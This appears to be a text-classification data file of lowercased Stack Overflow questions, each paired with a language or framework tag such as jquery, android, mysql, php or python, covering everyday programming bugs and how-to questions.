jquery - radio button is checked  i have these two radio buttons. i want to do  so whenever a user selects one  then jquery should show the <code>div</code> that has the content for that button. example <code>#paypal</code> has a <code>div</code> called <code>#mydivpaypal</code> and <code>#payza</code> has a <code>div</code> called <code>#mydivpayza</code>.    whenever a user clicks on <code>#paypal</code>  i want only <code>#mydivpaypal</code> to show. the goes with <code>#payza</code>.    <strong>html:</strong>   <pre><code>&lt;ul class= payment-methods  id= pmethods  style= margin-left:320px; &gt;   &lt;li class= payment-method paypal &gt;     &lt;input name= payment_methods  type= radio  id= paypal &gt;     &lt;label for= paypal &gt;paypal&lt;/label&gt;   &lt;/li&gt;    &lt;li class= payment-method payza &gt;     &lt;input name= payment_methods  type= radio  id= pagseguro &gt;     &lt;label for= pagseguro &gt;pagseguro&lt;/label&gt;   &lt;/li&gt; &lt;/ul&gt; </code></pre>   <strong>jquery:</strong>   <pre><code>var boxes = $( input:checked ); $(boxes).each(function() {    if($( #paypal ).is( :checked )) {      $( #mydivpaypal ).show();     }    if($( #payza ).is( :checked )) {      $( #mydivpaypal ).hide();        $( #mydivpayza ).show();     } }); </code></pre>   i can t get this to work. nothing happens when the radio buttons are checked.,jquery
how to save photo in a particular album in ios  i am using this code to save image into the album but images are being saved in camera roll album. i want to save images in weave album. i m using this code:   <pre><code>cgrect screenrect=cgrectmake(0  0  viewplay.frame.size.width  viewplay.frame.size.height); uigraphicsbeginimagecontext(screenrect.size); cgcontextref ctx=uigraphicsgetcurrentcontext(); [[uicolor whitecolor] set]; cgcontextfillrect(ctx  screenrect); [self-&gt;viewplay.layer renderincontext:ctx]; uiimage *screenimage=uigraphicsgetimagefromcurrentimagecontext(); uiimagewritetosavedphotosalbum(screenimage  nil  nil  nil); uigraphicsendimagecontext(); </code></pre>   this code is working fine for me. please give me any suggestion what change i do here to save image into weave folder.,ios
span is getting added with aspnetdisabled class in sample application. but not in our project if we disable the control  in my project    <pre><code>&lt;span disabled= disabled &gt; &lt;input id= _ctl0_contentholderarea_checkbox1  type= checkbox  name= _ctl0:contentholderarea:checkbox1  disabled= disabled  /&gt; &lt;/span&gt; </code></pre>   in sample    <pre><code>&lt;span class= aspnetdisabled &gt; &lt;input id= checkbox1  type= checkbox  name= checkbox1  disabled= disabled  /&gt; &lt;/span&gt; </code></pre>,asp.net
css default if inherit not defined  is it possible to set a default value for css property if inherit is not defined  for example:   <pre><code>.td {      font-size: 9px;  } .link {      font-size: inherit;      color: inherit;      text-decoration: underline;  } </code></pre>   on    <pre><code>&lt;td class=td&gt;     &lt;a class=link href= # &gt;hello!!&lt;/a&gt;  &lt;/td&gt;  </code></pre>   the <code>&lt;a&gt;</code> inherit font-size from .td.    however  on    <pre><code>&lt;td&gt;     &lt;a class=link href= # &gt;hello!!&lt;/a&gt; &lt;/td&gt; </code></pre>   the <code>&lt;a&gt;</code> tag has no font-size attribute.,css
find distance between 2 lat and lon point. i have used the formula but answer is not what you expect <pre><code>public double distance(double x  double y  double x2  double y2) {     // r is earth’s radius (mean radius = 6 371km)     double r = 6371e3;      double tomile = 0.000621371;     double latdiff = x2 - x;     double londiff = y2 - y;      // a is the square of half the chord length between the points     double a = (math.sin(latdiff/2) * math.sin(latdiff/2)) + (math.cos(x) * math.cos(x2) * math.sin(londiff/2) * math.sin(londiff/2));      // c is the angular distance in radians     double c = 2 * math.atan2(math.sqrt(a)  math.sqrt(1-a));      // d is the distance between to points     double d = r * c * tomile;      return d; }  system.out.println(distance(41.386263640000003  -81.494450689999994  42.531041999999999  -82.90854831));  </code></pre>   this print statement gives me 4148.871894445495 miles whereas i checked through google map its distance is 193 miles. can someone explain why is this so.    thank you.,java
android is hang while android don t find connection  i am creating an android application but while(if ) server is not found  it will hang the tool kit (sdk/emulator ).  i have attached my login code. please help me to find the solution. i just want that if server is not available  my application will stay on at the login page without hanging itself.    when i debugged my code i didn t get value of httpresponse and after this line    <pre><code>httpresponse httpresponse = httpclient.execute(httppost); </code></pre>   the problem occurred   <pre><code>public string login(string username  string password){         try {             string url = url+   flag= + on + &amp;user= +username+ &amp;pass= +password;             httppost = new httppost(url);             httpresponse httpresponse = httpclient.execute(httppost);             int statuscode = httpresponse.getstatusline().getstatuscode();             if (statuscode == 200) {                 string responsemsg = getresponse(httpresponse);                  return responsemsg;             }else{                 log.e(tag  statuscode+  );             }         } catch (clientprotocolexception e) {             log.e(tag  e.getmessage() e);         } catch (ioexception e) {             log.e(tag  e.getmessage() e);         }         return null;     } </code></pre>,android
video playing error <pre><code>07-06 06:58:25.609: i/omxcodec(113): [omx.ti.ducati1.video.decoder] crop rect is 800 x 440 @ (0  0) 07-06 06:58:25.843: w/omxcodec(113): number of channels: (6)   07-06 06:58:26.085: i/audioplayer(113): timeinterpolator::seek(media_time=0) 07-06 06:58:26.117: i/omxcodec(113): [omx.ti.ducati1.video.decoder] video dimensions are 896 x 480 07-06 06:58:26.117: i/omxcodec(113): [omx.ti.ducati1.video.decoder] crop rect is 800 x 440 @ (0  0) 07-06 06:58:26.257: d/openglrenderer(23176): flushing caches (mode 0) 07-06 06:58:26.304: i/omxcodec(113): [omx.ti.ducati1.video.decoder] video dimensions are 896 x 480 07-06 06:58:26.304: i/omxcodec(113): [omx.ti.ducati1.video.decoder] crop rect is 800 x 440 @ (16  16) 07-06 06:58:26.312: e/omxcodec(113): [omx.google.aac.decoder] error(0x80001001  10) </code></pre>   i m playing a mp4 video and suddenly i get this error. it was fine previously. can somebody tell me what kind of error is this  the video will play for 1/10 of a second then it stops.,android
select * vs specific columns & loading object properties  i always thought select * was bad and that you should always return only the columns you are going to use. one of the reasons for this is that the db can return the result without hitting any tables if all the columns needed are in the index.     i have a factory class that loads the properties of a product object. it loads all the properties everytime getproduct is called etc.    many of the pages won t be using all of the product properties even though they will be loaded from the database because of the select*.     is there any design advice/guidelines on this,sql
ie 11 browser error: [$compile:tpload] failed to load template  getting error error: [$compile:tpload] failed to load template  in ie browser  while refresh the page,angularjs
android two identical file writes -- one uses 0d0a and the other 0a  i do writes to two files one after the other in response to two button presses.  the code is identical except for the name of the file   <pre><code>try{     filewriter fw = new filewriter(filename true);     //fw.write(string.format( %s %s %s  name  latitude  longitude));     fw.write( hello world );     fw.write(string.valueof( \n ));     fw.flush();     fw.close(); } </code></pre>   on one file my lines are terminated in 0d0a and in the other file in just 0a.  both are called as the result of a button press.    in fact  i copied the above code into each routine and tried it.  i tried deleting the file and starting over to see if some kind of unknown (to me) file property was at work.     all my other files use 0d0a and that is what i would like to see on all the files.    i have no idea what is going on or how to change it.    thanks     allen    ps.  i added a statement to oncreate   <h2>system.setproperty( line.separator   \r\n ) and it didn t make any difference.</h2>   a clue:  another routine in my program can re-write the file in question.  after doing that  i can add stuff to the end of the file and i get 0d0a like i expect.    the guy who created the file is in the netherland so it might be some hidden file attribute.  how can i force things to behave    <hr>   this file did not work.  the last line is terminated in a 0a alone.   <pre><code>svc9 51.606722 3.852682 svc8 51.616598 3.822033 svc7 51.608025 3.836555 svc6 51.615535 3.805132 svc5 51.609053 3.820373 svc4 51.614403 3.787843 svc3 51.606722 3.798665 svc16 51.609968 3.882362 svc12 51.613443 3.86097 svc11 51.604355 3.870577 svc1 51.600272 3.751823 svc10 51.617602 3.839977 svc14o 51.610825 3.877807 aa  51.6068687  3.8523572 </code></pre>   i re-wrote the same file and added a bb line and it is fine.   <pre><code>svc9 51.606722 3.852682 svc8 51.616598 3.822033 svc7 51.608025 3.836555 svc6 51.615535 3.805132 svc5 51.609053 3.820373 svc4 51.614403 3.787843 svc3 51.606722 3.798665 svc16 51.609968 3.882362 svc12 51.613443 3.86097 svc11 51.604355 3.870577 svc1 51.600272 3.751823 svc10 51.617602 3.839977 svc14o 51.610825 3.877807 aa  51.6068687  3.8523572 bb  51.6068687  3.8523572 </code></pre>   the re-write fixed the 0a issue because i write out a  \n  and it gives me 0d0a in that code.  you cannot see any difference in the files above.  but in a binary viewer  the bad file ends in 0a and the good file ends in 0d0a.   <hr>   i changed my code.  now i write to both the the file that works and the file that does not work using the same function.    here is the call that works    <pre><code>string filename = basedir +  /startline/waypoint_log.csv ; string contents = string.format(locale.us  %s %s %s %s %s 0 %s\n  marktypenumber marktype (string)s latitude longitude name); string message =  mark ; writetofile(filename  contents  message); </code></pre>   here is the call that does not work   <pre><code>string filename = basedir +  /startline/waypoints/  + fileused; string contents = string.format(locale.us  %s %s %s\n  name latitude longitude); writetofile(filename   contents   waypoint ); </code></pre>   here is the routine that does the write   <blockquote> <pre><code>public void writetofile(string filename  string contents  string message){     try{         filewriter fw = new filewriter(filename true);         fw.write(contents);         fw.flush();         fw.close();         toast toast=toast.maketext(this  message +   saved  toast.length_short);         toast.show();     }     catch(exception e){         toast toast=toast.maketext(this   error:   +  message  +   not saved  toast.length_short);         toast.show();     } } </code></pre> </blockquote>,android
access elements of same class in reverse order  i have few elements with the class name <code>.paying-amount</code>. using jquery i need to access them in reverse order    when i use <code>.each()</code> in the following way   <pre><code>$( .paying-amount ).each(function () { $(this).html( hello ); }) </code></pre>   i perform the function from 0...n. but i want to do it from n ... 0.    saving the <code>.paying-amount</code> elements in an array would solve the purpose as i can access the array in the reverse direction but somehow unable to manage it.    please help.,jquery
prototypal inheritance and prototype attribute  how can an object inherit from multiple parents in javascript     i am thinking one would do this:   <pre><code>fruit.prototype = new plant (); fruit.prototype = new anotherplant (); </code></pre>   but what will the fruit s prototype attribute (prototype object) get set to  will it still be the original parent.prototype of the original parent constructor function of fruit,javascript
how to popup and dismiss the viewcontrollers from root view controller in iphone  i have a mainviewcontroller and i am presenting another viewcontroller(2nd viewcontroller) through  [self presentmodalviewcontrolleranimated:yes]; and this modalviewcontroller is a navigationcontroller from this i am pushing to detailviewcontroller. now in detailviewcontroller if i click on a button i should go to mainviewcontroller directly.    i am doing [self poptorootviewcontroller] and [2nd viewcontroller dismissmodalviewcontrolleranimated:no];    but i am not getting  the above code taking me to 2nd view controller not to the mainviewcontroller.    any one have any idea about how we can do this.please share your ideas or sample code to achieve this.    thanks in advance.,iphone
many to many relationship and creating new records   a and b have a many-to-many relationship. in b s view i have a form to create a new b  with a new name and a new a (or many) association.    for example:    create new b    name: a:     the same thing will be done when creating a new a. how am i to do this  and what does the controller/view/model look like,ruby-on-rails
join two tables and select a row using foreign key sql query  i have two tables <code>cities</code> and <code>country</code>. i am using the query    <pre><code>select *  from citiestable  where cityname like  f%   limit 30 </code></pre>   each <code>cityname</code> has their respective country joined with foreign key in <code>country</code> table.    i want to select each city with and their respective country like fayzabad   afghanistan. which query should i use  please mention must since i am new to sql,sql
while construct to sort ints [c++]  can anyone tell me why this doesn t work  i m trying to sort five ints using a while loop  but the output is only giving me the numbers i entered in the order i entered them. i m very new to programming  and i really have no idea what i m doing.    here is my code:   <pre><code>#include &lt;iostream&gt; using namespace std;      int main()     {         int n1  n2  n3  n4  n5  temp  i;          cout &lt;&lt;  enter five numbers to be sorted:   &lt;&lt; \n ;         cin &gt;&gt; n1 &gt;&gt; n2 &gt;&gt; n3 &gt;&gt; n4 &gt;&gt; n5;          while(i&lt;4) {          i++;                   if(n1&gt;n2) {                   temp = n1;                   n1 = n2;                    n2 = temp;                   }                   if(n2&gt;n3) {                   temp = n2;                   n2 = n3;                   n3 = temp;                   }                   if(n3&gt;n4) {                   temp = n3;                   n3 = n4;                   n4 = temp;                   }                   if(n4&gt;n5) {                   temp = n4;                   n4 = n5;                   n5 = temp;                   }                   }                   cout &lt;&lt; n1 &lt;&lt;     &lt;&lt; n2 &lt;&lt;     &lt;&lt; n3 &lt;&lt;     &lt;&lt; n4 &lt;&lt;     &lt;&lt; n5 &lt;&lt; endl;                   system( pause );                   return(0);     } </code></pre>,c++
ruby on rails - calendar display  we want to create a calendar view in a room scheduling application.  the outcome we want is to have hours open (variable depending on day) across the top of the grid and the names of the rooms down the left side of the grid.  the body would be populated with bookings for that day.  the visual we re seeking is similar to the  weekly builder  plugin for rails (<a href= http://dmix.ca/2009/06/weeklybuilder-a-weekly-calendar-plugin-for-rails/  rel= nofollow noreferrer >http://dmix.ca/2009/06/weeklybuilder-a-weekly-calendar-plugin-for-rails/</a>).    we ve tried using css to create variably-sized images  but this isn t working out.  are there any plugins available or other ways anyone can think of to accomplish this kind of visual     thanks,ruby-on-rails
mysql: print the name of the rows with top 3 values of the each column <pre><code>+-----------------------------+------+------+------+ | state                       | 2006 | 2007 | 2008 | +-----------------------------+------+------+------+ | andaman and nicobar islands |   32 |   27 |   23 | | andhra pradesh              | 3824 | 2432 | 1591 | | arunachal pradesh           |   12 |    9 |   25 | | assam                       |  617 |  319 |  530 | | bihar                       | 1665 | 1949 | 1944 | | chandigarh                  |    0 |    5 |    4 | | chhattisgarh                |  374 |  401 |  855 | | dadra and nagar haveli      |    0 |    0 |    0 | | daman and diu               |    2 |    0 |    1 | | delhi                       |    0 |    0 |    0 | | goa                         |   72 |    1 |   42 | | gujarat                     | 2038 |  328 |  540 | | haryana                     |  350 |  520 |  427 | | himachal pradesh            |  323 |  214 |   34 | </code></pre>   i have the similar table  just with more number of rows. the columns depict the number of accidents for the given year. i need to print the top 3 states with most number of accidents every year. is there a way to do it in one go  currently  i m only able to do this year-wise:   <pre><code>select state as  accidents-2006   from accidents  order by `2006`  desc limit 3; </code></pre>   and then repeating it for 2007 and 2008.    edit: i m searching for an output like this:   <pre><code>+-----------------+-----------------+--------------------+ | 2006            | 2007            | 2008               | +-----------------+-----------------+--------------------+ | andhra pradesh  | andhra pradesh  | bihar              | | gujarat         | bihar           | andhra pradesh     | | bihar           | haryana         | chhattisgarh       | </code></pre>,mysql
how do i perform several methods in sequence   what is the best way to force methods to be executed in sequence.  i have three methods  but i want method1 to complete before method2 and then when method2 is complete  to execute method3.    example:   <pre><code>-(void)method1 -(void)method2 -(void)method3  [self method1]; [self method2]; [self method3]; </code></pre>   how do i force method2 to begin execution only until method1 has completed,objective-c
rails accepts_nested_attributes and :reject_if  i have a form with nested attributes. now in my <code>:reject_if =&gt;</code> statement i would like to check an attribute on the nested model  say <code>first_record </code> is there a way to access such a method  it seems to me that you can only access the submitted attribute hash  to check if a field is blank for example. thanks!,ruby-on-rails
categories provide dynamic loading   i am looking at <a href= http://support.apple.com/kb/ta45902 viewlocale=en_us  rel= nofollow >this page</a> about c++ differences from objective c and it states this:   <blockquote>    the dynamic nature of objective c allows existing classes to be extended at runtime. objective c allows you to define categories  related sets of extensions to objects you ve already created. for example  in converting a text-based app into a graphics app  the code your objects needed to draw themselves could be compiled as a category and loaded at run-time only when needed. this saves memory and allows you to leave your original objects unmodified.  </blockquote>   now i am familiar with categories and have used them  but i do not see how they lead to dynamic loading. if you <code>import</code> a category file  is it not compiled along with the class it extends  taking up memory whenever you use that class  whether you use the category methods or not,objective-c
how to replace text in cell to a data in another table in mysql  i need you help.    i have a table in mysql like this   <pre><code>*table1* id | permission -- | ---------- a1 | 1 2 3 4 5 v2 | 2 3 4 r1 | 1 3 4 5 b4 | h7 | 4 5 </code></pre>   and i have another table   <pre><code>*table2* id | permission -- | ---------- 1  | allow 2  | not allow 3  | disabled 4  | wow 5  | grant </code></pre>   i want to select table1 join table2 <strong>but:</strong> the new table should be like this   <pre><code>*new_table* id | permission -- | ---------- a1 | allow not allow disabled wow grant v2 | not allow disabled wow r1 | allow disabled wow grant b4 | h7 | wow grant </code></pre>   <strong>is there a way to make it in mysql </strong>,mysql
form submit - html - domain name  do i need to necessarily register my domain for setting it as a form action attribute. cannot i directly use the ip address of a machine (hooked up to the internet) which is running a web server     basically i want to do something like <code>&lt;form action = &lt;ip address&gt;/process.php &gt;</code>    note: i cannot use relative addressing  since the form hosting page and the action page are in different machines.,html
rails include page  how would i include a page from the public folder in one of my views  i want to include a single header like i do in php so when i make a change it affects all the other pages. (it is for multiple views),ruby-on-rails
java 8 adjustable time scheduler  i need to implement the following functionality: i have something like a messenger. so  user sends messages  and system should wait 3 sec after last message. so  for example user sends  hello!  and system should start countdown  and if 2 seconds passed and user sends  hey!   it should start counting down again. if 3 secs has passed  special action should fire. are there any special classes and technologies for this in java and java frameworks      <strong>update:</strong>    basically i need something ready to implement a time barrier with ability to change waiting time. so  i need to wait 3 secs after last message came. so  when api gets message  hello   it should start waiting for 3 secs before perform some action. if 2 secs passed and api gets next message  hey   it should init it s time counter and start counting down seconds again. so  totally 5 secs are passed. and if there s no message to api for 3 secs after last message  action should run.    if i do thread.sleep or future.get i specify fixed number of secs to delay  but i want to have ability to change this number online and system should take it. for example:   <pre><code>int counter=5;//any shared seconds quantity holder  while(true){   counter--;   thread.sleep(1000); }  ....  setcounter(5);//i call somewhere  and loop will be looping again.  </code></pre>   but i am looking for something stable and tested  not to invent a bicycle.,java
improve the speed of calculation of a c program  i have the following problem:    given 2 files of n numbers like     file1.dat: 1 2 3 4 5 6 7 8 9 0    file2.dat: 2 5 4 7 6 9 8 1 0 3    i want to know how many time the order of two consecutive numbers in the first file has changed in the second (that contain the same numbers). for example  in file one we start looking for 1 and 2  in the second file 2 come before the 1  so there was a change of the order; in the first file there is 9 and then 0  in the second this order is maintained.    i wrote the following program:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define n 32421  int main () {   int a[n]  b[n];   int i j k=0 count=0;   file *fp;    if ((fp = fopen ( file1.dat    r )) == null) {     printf ( error opening file 1\n );     exit (exit_failure);   }   for (i = 0; i &lt; n; i++)     fscanf (fp   %d   &amp;a[i]);   fclose (fp);    if ((fp = fopen ( file2.dat    r )) == null) {     printf ( error opening file 2\n );     exit (exit_failure);   }   for (i = 0; i &lt; n; i++)     fscanf (fp   %d   &amp;b[i]);   fclose (fp);    for(i=0; i&lt;n-1; i++)     for(j=0; j&lt;n; j++)       for(k=0 ; k&lt;n; k++)         if(b[j]==a[i] &amp;&amp; b[k]==a[i+1] &amp;&amp; k &lt; j )     count++;     printf( the number of inversion is: %d\n  count);    return 0; } </code></pre>   the files with which i m dealing are very big as you can see from the 3rd line of the program (32421 numbers for each file)  so the time taken is too big. anyone have any suggestion to improve the speed of calculation     <hr>   i tried also with the break adding in the loops in the following way:   <pre><code> int a;      for(i=0;i&lt;n-1;i++){      a=0;     for(j=0;j&lt;n;j++){       for(k=0;k&lt;n;k++){     if(a[i]==b[j] &amp;&amp; a[i+1]==b[k] &amp;&amp; k&lt;j) {       count++;       break;       a=1;     } if(a[i]==b[j] &amp;&amp; a[i+1]==b[k] &amp;&amp; j&lt;k){       break;       a=1;     }       }       if(a==1){       break;       }     }   } </code></pre>   but it still takes more than 5 hours. how can i speed this up,c
unfamiliar c++ syntax while i m trying to study data structures in c++  i m about to learn data structures in c++ but i m suffering from facing to unfamiliar c++ syntax   like :   <pre><code>enum seatstatus sealist[max_seats]; </code></pre>   all i know about using  enum  in c++ is like :   <pre><code>enum direction{up right down left} ; // 0   1   2   3 </code></pre>   for analyzing an algorithm that is implemented in c++ programming language   i face to a huge amount of unfamiliar codes. please help me fix this matter out. thanks to stackoverflow community .,c++
mysql - select all events starting from a given date plus the most recent event before the given date  for example  if i have   <pre><code>event ------ id start_date end_date ... </code></pre>   i can use:   <pre><code>select * from event where start_date &gt; now() </code></pre>   but i want to also include the one most recent event with start_date before now.. so i revised it to this:   <pre><code>(select * from event where start_date &lt; now() order by start_date desc limit 1) union all   (select * from event where start_date &gt; now()) </code></pre>   which gives me the desired result  but i m wondering if there is a more straightforward way to accomplish this  perhaps without using an extra union and select  because my actual query is more complicated with joins and i would prefer not to repeat it. is there a better way to write that query,mysql
overflow property causes part of code to disappear   i m trying to put a scrollbar inside my div tag yet when i do  the arrow on the side of it disappears. is there are way to fix this  live preview <a href= https://yume.neocities.org/test1.html  rel= nofollow noreferrer >here</a>.  the bubble is supposed to look like <a href= https://yume.neocities.org/test2.html  rel= nofollow noreferrer >this</a>  but with a scrollbar in it of course.   <pre><code>.bubble {     background-color: #ffffff;     border: 1px solid #000000;     border-radius: 8px;     width: 240px;     height: 250px;     padding: 10px;     margin: 100px auto 100px auto;     position: relative;     overflow: scroll; } .bubble:before {     content:   ;     position: absolute;     left: -25px;      top: 24px;     bottom: auto;      border-style: solid;     border-width: 12px 24px 12px 0px;     border-color: transparent #000000; } .bubble:after {     content:   ;     position: absolute;     left: -23px;     top: 25px;     bottom: auto;     border-style: solid;     border-width: 11px 23px 11px 0px;     border-color: transparent #ffffff;     display: block;     width : 0px; } </code></pre>,css
writing a mutator method  revision of mutator method definition    write a mutator method setage() that takes a single parameter of type int and sets the value of variable age paste your answer in here:   <pre><code>public int setage(int age)  {    return age; } </code></pre>   comments:   <pre><code>* test 1 (0.0 out of 1)        the compilation was successful       the output should have been:           setage() correct        this is what was actually produced:           setage() not correct </code></pre>   confused on why i get this error  is it because i have (int age) after setage that is why the error is comming up,java
c++ append int to wstring  before(using ascii) i was using std::string as buffer like this:   <pre><code>std::string test =   ; int value = 6; test.append( some string ); test.append((char*)value  4); test.append( some string ); </code></pre>   with expected value in test:   <blockquote>     some srtring\x6\x0\x0\x0somestring   </blockquote>   now i am tring to use unicode and i wanna keep the same  code  but trubles happens:   <pre><code>std::wstring test =   ; int value = 6; test.append( some string ); test.append((wchar_t*)value  4); (buffer overflow cause reading 8 bytes) test.append( some string ); </code></pre>   how can i append bytes like in std::string  doing:   <pre><code>std::wstring test =   ; int value = 6; test.append( some string ); test.append((wchar_t*)value  2); test.append( some string ); </code></pre>   solve partially the problem cause after i can t append bools.    edit: i can even use wstringstream if a binary copy is applied.(normally not),c++
what s the fastest way of concatenating strings in php   i want to combine two variables together:    <code>$var1 =  welcome  ;</code>    <code>$var2 = $_session[ username ];</code>    which of these will work faster  code sample 1:   <pre><code>$var3 = $var1.$var2; </code></pre>   or code sample 2:   <pre><code>$var3 =  $var1$var2 ; </code></pre>,php
css multi border  i don t know why this doesn t show a extra border can you see what i m doing wrong    <pre><code>.loginsubmit {     width: 100px;     height: 100px;     background: #e0e0e0;     border: 1px solid #dedede;     color: #555555;     font-weight: bold;     text-shadow: white 0px 1px;      /* firefox */     background: -moz-linear-gradient(top  #eaeaea  #f0f0f0 100%);     -moz-border-radius: 5px;      /* webkit */     background: -webkit-gradient(linear  0 0  0 100%  from(#eaeaea)  to(#f0f0f0));     -webkit-border-radius: 5px;     position: relative; }  .loginsubmit:before {     width: 98px;     height: 98px;     content   ;     position: absolute;     border: 1px solid black; } </code></pre>,css
is it bad practice to put stuff into new function properties   say i have a class and a function:   <pre><code>class addressvalidator(self):     def __init__(self):         pass     def validate(address):         # ...  def validate_address(addr):     validator = addressvalidator()     return validator.validate(addr) </code></pre>   the function is a shortcut for using the class  if you will. now  what if this function has to be run thousands of times  if the validator class actually has to do something on instantiation  like connecting to a database  creating it over and over thousands of times is pretty wasteful. i was wondering if i could perhaps do something like this:   <pre><code>def validate_address(addr):     if not hasattr(validate_address   validator ):         validate_address.validator = addressvalidator()      validator = validate_address.validator     return validator.validate(addr) </code></pre>   now the validator class is only instantiated once and saved  in the function   to put it that way. i ve never seen this done though  so i m guessing it s bad practice. if so  why     <em>note: i know i can just cache the validator object in a module global. i m just curious if this is a viable solution when i want to avoid littering my module.</em>,python
returning http/https protocol  i ve the following code which i got from somewhere and it doesn t appear to be working:    <pre><code>function http() {  $pageurl =  http ;  if ($_server[ https ] ==  on ) {$pageurl .=  s ;}  $pageurl .=  :// ;  return $http; } </code></pre>   can someone help     what i am attempting to do is return the website protocol when i type in $http    ex:   <pre><code>&lt;a href= &lt; php echo $http . $websiteurl . /index.php   &gt; &gt;website url including protocol&lt;/a&gt; </code></pre>   i ve got the $websiteurl down  i just can t seem to get it to echo http vs https.  i don t know much about functions  so i m not sure how to troubleshoot it.,php
should we still use em for font sizes now that most/all new browsers implement page zooming by default  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5183733/font-sizes-ems-vs-pixels-in-2011-which-one-should-be-used >font sizes: ems vs pixels&hellip; in 2011  which one should be used </a>    </blockquote>     i ve started to read on the net that all browsers are implementing page zoom by default  not text enlarge.    i ve also read a prestashop theming tutorial the other day that said...   <blockquote>    don t use ems anymore  thanks to page zooming. use pixels for font sizes.  </blockquote>   i m not sure i necessarily agree  but with the <code>body { font-size: 62.5% }</code> for ease of em sizing  should we begin to phase out em sizing for pixels,css
php date() strtotime get past month wrong  current date is 30 october 2017    this code:    <pre><code>date( f  strtotime( -8 month )) </code></pre>   returns  march  where it should be february.    php snippet: <a href= http://sandbox.onlinephpfunctions.com/code/cfba4f420e9f76026be0286b52d780d0a75b8cd3  rel= nofollow noreferrer >http://sandbox.onlinephpfunctions.com/code/cfba4f420e9f76026be0286b52d780d0a75b8cd3</a>,php
exception in thread  main  java.lang.nullpointerexception at newproject.pg1.main(pg1.java:30)  how do i fix this error exception in thread  main  java.lang.nullpointerexception     at newproject.pg1.main(pg1.java:30)  i believe it is about the the gettitle method  but i don t know how to correct it.   <pre><code>my code is below  package newproject; import org.openqa.selenium.firefox.firefoxdriver; //comment the above line and uncomment below line to use chrome //import org.openqa.selenium.chrome.chromedriver; public class pg1 {       public static void main(string[] args) {         // declaration and instantiation of objects/variables         system.setproperty( webdriver.firefox.marionette   c:\\geckodriver.exe );         firefoxdriver driver = new firefoxdriver();         //comment the above 2 lines and uncomment below 2 lines to use chrome         //system.setproperty( webdriver.chrome.driver   g:\\chromedriver.exe );         //webdriver driver = new chromedriver();          string baseurl =  http://demo.guru99.com/selenium/newtours/ ;         string expectedtitle =  welcome: mercury tours ;         string actualtitle =   ;          // launch fire fox and direct it to the base url         driver.get(baseurl);          // get the actual value of the title         actualtitle = driver.gettitle();          /*          * compare the actual title of the page with the expected one and print          * the result as  passed  or  failed           */         if (actualtitle.contentequals(expectedtitle)){             system.out.println( test passed! );         } else {             system.out.println( test failed );         }          //close fire fox         driver.close();      }  } </code></pre>,java
sum of two variables in obj-c  i have two variables from 1 to 100. i have two buttons. i want one button to print the two variables on the screen and i want one button to print the sum of both the variables. how do i do this  my code is:   <pre><code>- (ibaction)addition:(id)sender; {     int x = arc4random() %100;     int y = arc4random() %100;     [label1 settext: [nsstring stringwithformat:@ %i   x]];     [label2 settext: [nsstring stringwithformat:@ %i   y]]; }  - (ibaction)answer:(id)sender; {     int z;     z = x+y;     answer.text = [[nsstring alloc] initwithformat:@ %i   z]; } </code></pre>,objective-c
how to implement the same pattern  i m new to ios  and i ve already got my design ready  now i don t know is there a best practice for me to do  the following thing:    i have 1000 cards  each of it is like this:     <img src= https://i.stack.imgur.com/sjnmz.png  alt= enter image description here >    and when i slide right  it will get the next one  i slide left it will back to the previous one    i can implement this now  but i can only implement this one by one for 1000 times.     in addition  when i click the middle of the card  it will flip horizontally  then show the translation. it s the second kind of card with different language and color.     so is there any hint for me  any loop can do it     <blockquote>    update  </blockquote>   about data-drive  so i thought about database  and i search the google that there s four way of persistence in ios     i decide to choose <em>sqlite</em>  is it a wise choice      reason:    <ol> <li> i m familiar with mysql  and use sqlite in rails before </li> <li> sqlite is not too big.  </li> <li> i need to save original sentence  translate sentence  saved or not flag  additional story. </li> </ol>,ios
difference between the different versions of .net  i checked what version of microsoft s .net platform i have  and i saw that it is 4.0. i know there are newer versions. i found a book about wpf applications but it is explained how to write the apps on c# .net 4.5. now  does that mean that i can t write and test the examples of the book   and for example if i write an application on .net 4.5  but user s computer has 4.0 version  will he be able to run this app,.net
cllocationdistance nan  i m trying to calculate a distance between two sets of coordinate points in an iphone application on the fly using   <pre><code> - (cllocationdistance)getdistancefrom:(const cllocation *)location  </code></pre>   i saw that i started getting nan s in strange places  thus investigated the matter up close  with the following hardcoded values.   <pre><code>cllocationdistance testdistance; placelocation = [[cllocation alloc] initwithlatitude:12.236533 longitude:11.011419]; userlocation = [[cllocation alloc] initwithlatitude:12.236533 longitude:11.011419];  testdistance = [userlocation getdistancefrom:placelocation]; if(isnan(testdistance))     nslog(@ isnan! );  [placelocation release]; [userlocation release]; </code></pre>   the above gets called multiple times  and in some situations the testdistance is nan.    i fear i m missing something very simple here. anyone have any idea     <strong>update 1:</strong>    ok  so i ve moved the above code into a new project (put everything in the app delegate)  looped it for 100 times and all is fine. this thus suggests that the problem is project related  but this helps very little... since all the variables are in the scope of 1  function.    <strong>the solution:</strong>    <strong>ok  this seems to be a simulator bug. the same code build runs perfectly fine on the device. case solved.</strong>,iphone
long.tryparse fails when passed a hexidecimal string  i am new to c# and this test case always fails. the value of l_sid is 5509df4d0d557e15aca17902. its a hex value and i am trying to match it with long. i know it will fail but what should i do pass this test     i tried with biginteger but it was showing error.   <blockquote>    the type or the namespace name biginteger  couldnot be found(are you missing a using directive or assembly refernce when i do biginteger l_lid = 0; instead of long l_lid =0;  </blockquote>  <pre><code> biginteger l_lid= 0;  if (!biginteger.tryparse(l_sid  out l_lid))  throw new exception( failed to upload file  );  </code></pre>,c#
add word with each number in one line  i made var with input word   then the output of word is encode hex   but what i need is to made another var with number if the input are 10   the output = 1 2 3 4 5 6 7 8 9 10   then i need to join the word with each number .. so the output would be   hexedword1 hexedword2 hexedword3 ... etc .. here is my code   <pre><code>   num = raw_input( inset the number of students.  )    for num in range(1  num + 1)         print num         word = raw_input( insert the name of student to encrypt it to hex.  )         res =  0x  + word.encode( hex ) + num      print res </code></pre>,python
why  none  appears in my output  this is the code and i want to know why  none  appears in my output:       <pre><code>print ( divisor de numeros )  dividendo = int(input(print( escriba el dividendo:  end=  ))) divisor = int(input(print( escriba el divisor:   end=  )))  while divisor ==0 :     print ( ¡divisor debe ser diferente de cero¡ )     divisor = int(input(print( escriba el divisor:  end=  )))  cociente = dividendo // divisor resto = dividendo % divisor  if resto == 0 :     print ( la division es exacta. cociente: +str(cociente)) else :     print ( la division no es exacta cociente: +str(cociente)+ resto: +str(resto)) </code></pre>,python
